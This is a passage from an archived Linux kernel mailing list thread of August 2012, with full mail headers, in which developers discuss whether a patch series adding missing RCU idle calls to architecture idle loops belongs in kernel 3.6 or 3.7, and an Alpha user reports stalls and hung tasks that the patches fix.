> > 	git://git.kernel.org/pub/scm/linux/kernel/git/paulmck/linux-rcu.git
> > 
> > This problem has been in place since 3.3, so it is hard to argue that
> > it is a regression for this merge window.  I have therefore queued it
> > for 3.7.
> 
> I don't follow that; I would expect any serious bug fix (serious enough
> for a stable update) to be acceptable for 3.6 at this point.

OK, if any of the arch maintainers wishes to submit the patch to 3.6,
they are free to do so -- just let me know and I will drop the patch from
my tree.

That said, all this does is cause spurious warnings to be printed, so
not sure it really qualifies as serious.  But I am happy to leave that
decision with the individual arch maintainers -- it is their arch,
after all, so their decision.

							Thanx, Paul

> If the regression occurred in 3.3, then the cc lines should be something
> like:
> 
>     Cc: <stable@vger.kernel.org> # 3.3+
> 
> and not the current:
> 
>     Cc: 3.2.x.. <stable@vger.kernel.org>
> 
> (Note, version annotations should be on the right of the address, not in
> the 'real name' position on the left.)


From - Thu Nov 08 21:08:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frederic Weisbecker <fweisbec@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.stable,gmane.linux.ports.alpha
Subject: Re: [PATCH 00/11] rcu: Add missing RCU idle APIs on idle loop v2
Date: Sat, 25 Aug 2012 15:16:49 +0200
Lines: 49
Approved: news@gmane.org
Message-ID: <20120825131647.GA1994@somewhere>
References: <1345733915-20040-1-git-send-email-fweisbec@gmail.com>
 <20120824212647.GU2472@linux.vnet.ibm.com>
 <1345857554.4840.43.camel@deadeye.wl.decadent.org.uk>
 <20120825035047.GB3436@linux.vnet.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1345900630 7101 80.91.229.3 (25 Aug 2012 13:17:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 25 Aug 2012 13:17:10 +0000 (UTC)
Cc: Ben Hutchings <ben@decadent.org.uk>,
	LKML <linux-kernel@vger.kernel.org>,
	Chris Zankel <chris@zankel.net>,
	"3.2.x.." <stable@vger.kernel.org>,
	Chen Liqin <liqin.chen@sunplusct.com>,
	Lennox Wu <lennox.wu@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Parisc <linux-parisc@vger.kernel.org>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	m68k <linux-m68k@lists.linux-m68k.org>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Mikael Starvik <starvik@axis.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Cris <linux-cris-kernel@axis.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	alpha <linux-alpha@vger.kernel.org>,
	Michael Cree <mcree@
To: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 25 15:17:06 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1T5GEY-0003GG-Cv
	for glpp-linux-parisc@plane.gmane.org; Sat, 25 Aug 2012 15:17:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756155Ab2HYNQ6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 25 Aug 2012 09:16:58 -0400
Original-Received: from mail-wg0-f44.google.com ([74.125.82.44]:63000 "EHLO
	mail-wg0-f44.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752216Ab2HYNQz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 25 Aug 2012 09:16:55 -0400
Original-Received: by wgbdr13 with SMTP id dr13so2265163wgb.1
        for <multiple recipients>; Sat, 25 Aug 2012 06:16:53 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        bh=Lz6yf15lV/uHZkFl8VnBzceb31W7dfWNOkgiSElMnoQ=;
        b=qO82nLda0YFGnpFvvah6Om5ycsDaYGx/ufxVDlDdcoKcx1qAsUi8FeRT2PygYVu34S
         Mu46yGbY1GcKQNNew+gWF8x/0baL9Wme4BOBWQDNJxwfkqyc9C1x06W1gwDpLu8MRda5
         zNWPZy3jSblfD5lw0m66j1DiuDYXwPAp3JH8pNpPIaWdU+sshO9G3ozekkn/R5cTs380
         dSKhpI+XHMqRcDlweSwtYCD0Z/HC9vtDlP3BP9YW4VYJAq7qoQYGKU8sq+8xnSkrMOdn
         ADgFd03GKq7DVSdrENPhRD/0yr3o+Eyx8bt+ClTtjzUxNK3NLywGtm9O6fWTHXTi0xDK
         97Rg==
Original-Received: by 10.180.81.165 with SMTP id b5mr12482891wiy.17.1345900613050;
        Sat, 25 Aug 2012 06:16:53 -0700 (PDT)
Original-Received: from localhost (53.20.196.77.rev.sfr.net. [77.196.20.53])
        by mx.google.com with ESMTPS id k20sm3111183wiv.11.2012.08.25.06.16.50
        (version=TLSv1/SSLv3 cipher=OTHER);
        Sat, 25 Aug 2012 06:16:52 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20120825035047.GB3436@linux.vnet.ibm.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4555 gmane.linux.kernel:1349508 gmane.linux.kernel.stable:30364 gmane.linux.ports.alpha:1882
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4555>

On Fri, Aug 24, 2012 at 08:50:47PM -0700, Paul E. McKenney wrote:
> On Sat, Aug 25, 2012 at 02:19:14AM +0100, Ben Hutchings wrote:
> > On Fri, 2012-08-24 at 14:26 -0700, Paul E. McKenney wrote:
> > > On Thu, Aug 23, 2012 at 04:58:24PM +0200, Frederic Weisbecker wrote:
> > > > Hi,
> > > > 
> > > > Changes since v1:
> > > > 
> > > > - Fixed preempt handling in alpha idle loop
> > > > - added ack from Geert
> > > > - fixed stable email address, sorry :-/
> > > > 
> > > > This time I built tested everywhere but: h8300 (compiler internal error),
> > > > and mn10300, parisc, score (cross compilers not available in
> > > > ftp://ftp.kernel.org/pub/tools/crosstool/files/bin/x86_64/4.6.3/)
> > > > 
> > > > For testing, you can pull from:
> > > > 
> > > > git://github.com/fweisbec/linux-dynticks.git
> > > > 	rcu/idle-fix-v2 
> > > > 
> > > > Thanks.
> > > 
> > > I have queued these on -rcu branch rcu/idle:
> > > 
> > > 	git://git.kernel.org/pub/scm/linux/kernel/git/paulmck/linux-rcu.git
> > > 
> > > This problem has been in place since 3.3, so it is hard to argue that
> > > it is a regression for this merge window.  I have therefore queued it
> > > for 3.7.
> > 
> > I don't follow that; I would expect any serious bug fix (serious enough
> > for a stable update) to be acceptable for 3.6 at this point.
> 
> OK, if any of the arch maintainers wishes to submit the patch to 3.6,
> they are free to do so -- just let me know and I will drop the patch from
> my tree.
> 
> That said, all this does is cause spurious warnings to be printed, so
> not sure it really qualifies as serious.  But I am happy to leave that
> decision with the individual arch maintainers -- it is their arch,
> after all, so their decision.

Couldn't that cause hung tasks due to long lasting synchronize_rcu() ?
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.stable,gmane.linux.ports.alpha
Subject: Re: [PATCH 00/11] rcu: Add missing RCU idle APIs on idle loop v2
Date: Sat, 25 Aug 2012 09:18:06 -0700
Lines: 56
Approved: news@gmane.org
Message-ID: <20120825161806.GD3436@linux.vnet.ibm.com>
References: <1345733915-20040-1-git-send-email-fweisbec@gmail.com>
 <20120824212647.GU2472@linux.vnet.ibm.com>
 <1345857554.4840.43.camel@deadeye.wl.decadent.org.uk>
 <20120825035047.GB3436@linux.vnet.ibm.com>
 <20120825131647.GA1994@somewhere>
Reply-To: paulmck@linux.vnet.ibm.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1345911521 20455 80.91.229.3 (25 Aug 2012 16:18:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 25 Aug 2012 16:18:41 +0000 (UTC)
Cc: Ben Hutchings <ben@decadent.org.uk>,
	LKML <linux-kernel@vger.kernel.org>,
	Chris Zankel <chris@zankel.net>,
	"3.2.x.." <stable@vger.kernel.org>,
	Chen Liqin <liqin.chen@sunplusct.com>,
	Lennox Wu <lennox.wu@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Parisc <linux-parisc@vger.kernel.org>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	m68k <linux-m68k@lists.linux-m68k.org>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Mikael Starvik <starvik@axis.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Cris <linux-cris-kernel@axis.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	alpha <linux-alpha@vger.kernel.org>,
	Michael Cree <mcree@
To: Frederic Weisbecker <fweisbec@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 25 18:18:37 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1T5J4G-0004f3-Vz
	for glpp-linux-parisc@plane.gmane.org; Sat, 25 Aug 2012 18:18:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754289Ab2HYQSc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 25 Aug 2012 12:18:32 -0400
Original-Received: from e31.co.us.ibm.com ([32.97.110.149]:44017 "EHLO
	e31.co.us.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755162Ab2HYQSP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 25 Aug 2012 12:18:15 -0400
Original-Received: from /spool/local
	by e31.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-parisc@vger.kernel.org> from <paulmck@linux.vnet.ibm.com>;
	Sat, 25 Aug 2012 10:18:15 -0600
Original-Received: from d03dlp01.boulder.ibm.com (9.17.202.177)
	by e31.co.us.ibm.com (192.168.1.131) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Sat, 25 Aug 2012 10:18:11 -0600
Original-Received: from d03relay02.boulder.ibm.com (d03relay02.boulder.ibm.com [9.17.195.227])
	by d03dlp01.boulder.ibm.com (Postfix) with ESMTP id 4E26DC40002;
	Sat, 25 Aug 2012 10:18:10 -0600 (MDT)
Original-Received: from d03av01.boulder.ibm.com (d03av01.boulder.ibm.com [9.17.195.167])
	by d03relay02.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id q7PGIADh195992;
	Sat, 25 Aug 2012 10:18:10 -0600
Original-Received: from d03av01.boulder.ibm.com (loopback [127.0.0.1])
	by d03av01.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id q7PGI8tY015700;
	Sat, 25 Aug 2012 10:18:10 -0600
Original-Received: from paulmck-ThinkPad-W500 (sig-9-76-46-34.mts.ibm.com [9.76.46.34])
	by d03av01.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id q7PGI7Zv015649;
	Sat, 25 Aug 2012 10:18:07 -0600
Original-Received: by paulmck-ThinkPad-W500 (Postfix, from userid 1000)
	id 5985FE4D7F; Sat, 25 Aug 2012 09:18:06 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20120825131647.GA1994@somewhere>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 12082516-7282-0000-0000-00000C4D08BB
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4556 gmane.linux.kernel:1349527 gmane.linux.kernel.stable:30365 gmane.linux.ports.alpha:1883
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4556>

On Sat, Aug 25, 2012 at 03:16:49PM +0200, Frederic Weisbecker wrote:
> On Fri, Aug 24, 2012 at 08:50:47PM -0700, Paul E. McKenney wrote:
> > On Sat, Aug 25, 2012 at 02:19:14AM +0100, Ben Hutchings wrote:
> > > On Fri, 2012-08-24 at 14:26 -0700, Paul E. McKenney wrote:
> > > > On Thu, Aug 23, 2012 at 04:58:24PM +0200, Frederic Weisbecker wrote:
> > > > > Hi,
> > > > > 
> > > > > Changes since v1:
> > > > > 
> > > > > - Fixed preempt handling in alpha idle loop
> > > > > - added ack from Geert
> > > > > - fixed stable email address, sorry :-/
> > > > > 
> > > > > This time I built tested everywhere but: h8300 (compiler internal error),
> > > > > and mn10300, parisc, score (cross compilers not available in
> > > > > ftp://ftp.kernel.org/pub/tools/crosstool/files/bin/x86_64/4.6.3/)
> > > > > 
> > > > > For testing, you can pull from:
> > > > > 
> > > > > git://github.com/fweisbec/linux-dynticks.git
> > > > > 	rcu/idle-fix-v2 
> > > > > 
> > > > > Thanks.
> > > > 
> > > > I have queued these on -rcu branch rcu/idle:
> > > > 
> > > > 	git://git.kernel.org/pub/scm/linux/kernel/git/paulmck/linux-rcu.git
> > > > 
> > > > This problem has been in place since 3.3, so it is hard to argue that
> > > > it is a regression for this merge window.  I have therefore queued it
> > > > for 3.7.
> > > 
> > > I don't follow that; I would expect any serious bug fix (serious enough
> > > for a stable update) to be acceptable for 3.6 at this point.
> > 
> > OK, if any of the arch maintainers wishes to submit the patch to 3.6,
> > they are free to do so -- just let me know and I will drop the patch from
> > my tree.
> > 
> > That said, all this does is cause spurious warnings to be printed, so
> > not sure it really qualifies as serious.  But I am happy to leave that
> > decision with the individual arch maintainers -- it is their arch,
> > after all, so their decision.
> 
> Couldn't that cause hung tasks due to long lasting synchronize_rcu() ?

In theory, definitely.  In practice, they haven't been running into it,
or they would be reporting hangs.

							Thanx, Paul

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Cree <mcree@orcon.net.nz>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.stable,gmane.linux.ports.parisc,gmane.linux.ports.alpha
Subject: Re: [PATCH 00/11] rcu: Add missing RCU idle APIs on idle loop v2
Date: Sun, 26 Aug 2012 09:15:27 +1200
Lines: 60
Approved: news@gmane.org
Message-ID: <5039406F.9040604@orcon.net.nz>
References: <1345733915-20040-1-git-send-email-fweisbec@gmail.com> <20120824212647.GU2472@linux.vnet.ibm.com> <1345857554.4840.43.camel@deadeye.wl.decadent.org.uk> <20120825035047.GB3436@linux.vnet.ibm.com> <20120825131647.GA1994@somewhere> <20120825161806.GD3436@linux.vnet.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1345929376 18849 80.91.229.3 (25 Aug 2012 21:16:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 25 Aug 2012 21:16:16 +0000 (UTC)
Cc: Frederic Weisbecker <fweisbec@gmail.com>,
	Ben Hutchings <ben@decadent.org.uk>,
	LKML <linux-kernel@vger.kernel.org>,
	Chris Zankel <chris@zankel.net>,
	"3.2.x.." <stable@vger.kernel.org>,
	Chen Liqin <liqin.chen@sunplusct.com>,
	Lennox Wu <lennox.wu@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Parisc <linux-parisc@vger.kernel.org>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	m68k <linux-m68k@lists.linux-m68k.org>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Mikael Starvik <starvik@axis.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Cris <linux-cris-kernel@axis.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	alpha <linux-al
To: paulmck@linux.vnet.ibm.com
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Aug 25 23:16:08 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1T5NiB-0005NL-An
	for glk-linux-kernel-3@plane.gmane.org; Sat, 25 Aug 2012 23:16:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752995Ab2HYVPf (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sat, 25 Aug 2012 17:15:35 -0400
Original-Received: from nctlincom01.orcon.net.nz ([60.234.4.74]:48951 "EHLO
	nctlincom01.orcon.net.nz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751079Ab2HYVPc (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sat, 25 Aug 2012 17:15:32 -0400
Original-Received: from mx4.orcon.net.nz (mx4.orcon.net.nz [219.88.242.54])
	by nctlincom01.orcon.net.nz (8.14.3/8.14.3/Debian-9.4) with ESMTP id q7PLP2eX025659
	for <linux-kernel@vger.kernel.org>; Sun, 26 Aug 2012 09:25:02 +1200
Original-Received: from Debian-exim by mx4.orcon.net.nz with local (Exim 4.69)
	(envelope-from <mcree@orcon.net.nz>)
	id 1T5NhZ-0002Yu-Gc
	for linux-kernel@vger.kernel.org; Sun, 26 Aug 2012 09:15:29 +1200
Original-Received: from 60-234-221-162.bitstream.orcon.net.nz ([60.234.221.162] helo=[192.168.1.5])
	by mx4.orcon.net.nz with esmtpsa (TLS-1.0:RSA_AES_256_CBC_SHA1:32)
	(Exim 4.69)
	(envelope-from <mcree@orcon.net.nz>)
	id 1T5NhY-0002XI-2f; Sun, 26 Aug 2012 09:15:28 +1200
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.16) Gecko/20120724 Icedove/3.0.11
In-Reply-To: <20120825161806.GD3436@linux.vnet.ibm.com>
X-Enigmail-Version: 1.0.1
X-DSPAM-Check: by mx4.orcon.net.nz on Sun, 26 Aug 2012 09:15:28 +1200
X-DSPAM-Result: Innocent
X-DSPAM-Processed: Sun Aug 26 09:15:29 2012
X-DSPAM-Confidence: 0.7006
X-DSPAM-Probability: 0.0000
X-Bayes-Prob: 0.0001 (Score 0, tokens from: @@RPTN, default)
X-Spam-Score: 0.00 () [Hold at 5.50] 
X-CanIt-Geo: ip=60.234.221.162; country=NZ; region=G2; city=Porirua; latitude=-41.1333; longitude=174.8500; http://maps.google.com/maps?q=-41.1333,174.8500&z=6
X-CanItPRO-Stream: base:default
X-Canit-Stats-ID: 06HP9p2gc - 49d4521b9b8f - 20120826
X-Scanned-By: CanIt (www . roaringpenguin . com) on 172.16.100.174
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1349591 gmane.linux.kernel.stable:30366 gmane.linux.ports.parisc:4557 gmane.linux.ports.alpha:1884
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1349591>

On 26/08/12 04:18, Paul E. McKenney wrote:
> On Sat, Aug 25, 2012 at 03:16:49PM +0200, Frederic Weisbecker wrote:
>> On Fri, Aug 24, 2012 at 08:50:47PM -0700, Paul E. McKenney wrote:
>>> On Sat, Aug 25, 2012 at 02:19:14AM +0100, Ben Hutchings wrote:
>>>> On Fri, 2012-08-24 at 14:26 -0700, Paul E. McKenney wrote:
>>>>> On Thu, Aug 23, 2012 at 04:58:24PM +0200, Frederic Weisbecker wrote:
>>>>>> Hi,
>>>>>>
>>>>>> Changes since v1:
>>>>>>
>>>>>> - Fixed preempt handling in alpha idle loop
>>>>>> - added ack from Geert
>>>>>> - fixed stable email address, sorry :-/
>>>>>>
>>>>>> This time I built tested everywhere but: h8300 (compiler internal error),
>>>>>> and mn10300, parisc, score (cross compilers not available in
>>>>>> ftp://ftp.kernel.org/pub/tools/crosstool/files/bin/x86_64/4.6.3/)
>>>>>>
>>>>>> For testing, you can pull from:
>>>>>>
>>>>>> git://github.com/fweisbec/linux-dynticks.git
>>>>>> 	rcu/idle-fix-v2 
>>>>>>
>>>>>> Thanks.
>>>>>
>>>>> I have queued these on -rcu branch rcu/idle:
>>>>>
>>>>> 	git://git.kernel.org/pub/scm/linux/kernel/git/paulmck/linux-rcu.git
>>>>>
>>>>> This problem has been in place since 3.3, so it is hard to argue that
>>>>> it is a regression for this merge window.  I have therefore queued it
>>>>> for 3.7.
>>>>
>>>> I don't follow that; I would expect any serious bug fix (serious enough
>>>> for a stable update) to be acceptable for 3.6 at this point.
>>>
>>> OK, if any of the arch maintainers wishes to submit the patch to 3.6,
>>> they are free to do so -- just let me know and I will drop the patch from
>>> my tree.
>>>
>>> That said, all this does is cause spurious warnings to be printed, so
>>> not sure it really qualifies as serious.  But I am happy to leave that
>>> decision with the individual arch maintainers -- it is their arch,
>>> after all, so their decision.
>>
>> Couldn't that cause hung tasks due to long lasting synchronize_rcu() ?
> 
> In theory, definitely.  In practice, they haven't been running into it,
> or they would be reporting hangs.

I am hereby reporting that RCU CPU stall warnings and hung tasks are
being experienced on SMP kernels built for generic Alpha. This problem
dates back quite a few kernel releases. The discussed patches appear to
fix the problem.

A backport to the 3.2 kernel, of at least the Alpha patches, would be
very much appreciated! :-)

Cheers
Michael.

From - Thu Nov 08 21:08:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.stable,gmane.linux.ports.alpha
Subject: Re: [PATCH 00/11] rcu: Add missing RCU idle APIs on idle loop v2
Date: Sat, 25 Aug 2012 17:12:33 -0700
Lines: 74
Approved: news@gmane.org
Message-ID: <20120826001233.GH3436@linux.vnet.ibm.com>
References: <1345733915-20040-1-git-send-email-fweisbec@gmail.com>
 <20120824212647.GU2472@linux.vnet.ibm.com>
 <1345857554.4840.43.camel@deadeye.wl.decadent.org.uk>
 <20120825035047.GB3436@linux.vnet.ibm.com>
 <20120825131647.GA1994@somewhere>
 <20120825161806.GD3436@linux.vnet.ibm.com>
 <5039406F.9040604@orcon.net.nz>
Reply-To: paulmck@linux.vnet.ibm.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1345939973 22379 80.91.229.3 (26 Aug 2012 00:12:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 26 Aug 2012 00:12:53 +0000 (UTC)
Cc: Frederic Weisbecker <fweisbec@gmail.com>,
	Ben Hutchings <ben@decadent.org.uk>,
	LKML <linux-kernel@vger.kernel.org>,
	Chris Zankel <chris@zankel.net>,
	"3.2.x.." <stable@vger.kernel.org>,
	Chen Liqin <liqin.chen@sunplusct.com>,
	Lennox Wu <lennox.wu@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Parisc <linux-parisc@vger.kernel.org>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	m68k <linux-m68k@lists.linux-m68k.org>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Mikael Starvik <starvik@axis.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Cris <linux-cris-kernel@axis.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	alpha <linux-al
To: Michael Cree <mcree@orcon.net.nz>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 26 02:12:48 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1T5QT9-0006K9-9x
	for glpp-linux-parisc@plane.gmane.org; Sun, 26 Aug 2012 02:12:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755234Ab2HZAMp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 25 Aug 2012 20:12:45 -0400
Original-Received: from e32.co.us.ibm.com ([32.97.110.150]:36714 "EHLO
	e32.co.us.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754844Ab2HZAMn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 25 Aug 2012 20:12:43 -0400
Original-Received: from /spool/local
	by e32.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-parisc@vger.kernel.org> from <paulmck@linux.vnet.ibm.com>;
	Sat, 25 Aug 2012 18:12:42 -0600
Original-Received: from d03dlp01.boulder.ibm.com (9.17.202.177)
	by e32.co.us.ibm.com (192.168.1.132) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Sat, 25 Aug 2012 18:12:41 -0600
Original-Received: from d03relay05.boulder.ibm.com (d03relay05.boulder.ibm.com [9.17.195.107])
	by d03dlp01.boulder.ibm.com (Postfix) with ESMTP id D35C51FF0039;
	Sat, 25 Aug 2012 18:12:39 -0600 (MDT)
Original-Received: from d03av01.boulder.ibm.com (d03av01.boulder.ibm.com [9.17.195.167])
	by d03relay05.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id q7Q0CenT159556;
	Sat, 25 Aug 2012 18:12:40 -0600
Original-Received: from d03av01.boulder.ibm.com (loopback [127.0.0.1])
	by d03av01.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id q7Q0CaQO021105;
	Sat, 25 Aug 2012 18:12:40 -0600
Original-Received: from paulmck-ThinkPad-W500 (sig-9-76-46-34.mts.ibm.com [9.76.46.34])
	by d03av01.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id q7Q0CYq7020985;
	Sat, 25 Aug 2012 18:12:35 -0600
Original-Received: by paulmck-ThinkPad-W500 (Postfix, from userid 1000)
	id B5C41E4D7F; Sat, 25 Aug 2012 17:12:33 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <5039406F.9040604@orcon.net.nz>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 12082600-2356-0000-0000-00000197F915
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4558 gmane.linux.kernel:1349611 gmane.linux.kernel.stable:30367 gmane.linux.ports.alpha:1885
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4558>

On Sun, Aug 26, 2012 at 09:15:27AM +1200, Michael Cree wrote:
